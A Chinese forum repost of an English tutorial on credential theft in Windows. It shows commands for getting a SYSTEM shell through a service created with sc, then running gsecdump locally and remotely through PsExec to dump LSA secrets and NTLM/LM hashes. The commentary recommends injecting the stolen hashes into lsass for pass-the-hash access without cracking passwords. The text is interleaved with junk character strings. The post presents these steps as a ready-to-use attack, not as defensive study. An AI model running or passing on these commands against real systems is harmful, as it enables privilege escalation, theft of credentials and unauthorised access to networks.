HASH注入式攻击

admin

o get a DOS Prompt as NT system:
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8 o. ?' H3 a+ c' vC:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
7 T" k  D* C6 Z% c2 x[SC] CreateService SUCCESS
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( d% i4 w, N* x; @( WC:\>sc start shellcmdline
: h; f# o+ `9 H! Z4 H: [[SC] StartService FAILED 1053:
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The service did not respond to the start or control request in a timely fashion.
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C:\>sc delete shellcmdline
[SC] DeleteService SUCCESS
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Then in the new DOS window:
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Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
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C:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
gsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]
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options:
! a+ K* a' x, n) t# |/ b-h [ --help ] show help
-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
: h) w9 j; F0 m9 x3 ]' m4 V-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD
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' q; Z' Z# s2 Q1 F7 e6 {1 KAlthough I like to use:
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/ D5 W' h+ M/ DPsExec v1.83 - Execute processes remotely
7 Q5 f- B/ G! |  @( G. f' C0 r+ hCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

% o. x% s" C: n: g* uto get the hashes from active logon sessions of a remote system.
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These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
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提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
2 ~3 {( D. @' |! [9 Y9 [原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
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( |. v3 Z9 `/ D( E* K8 V我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
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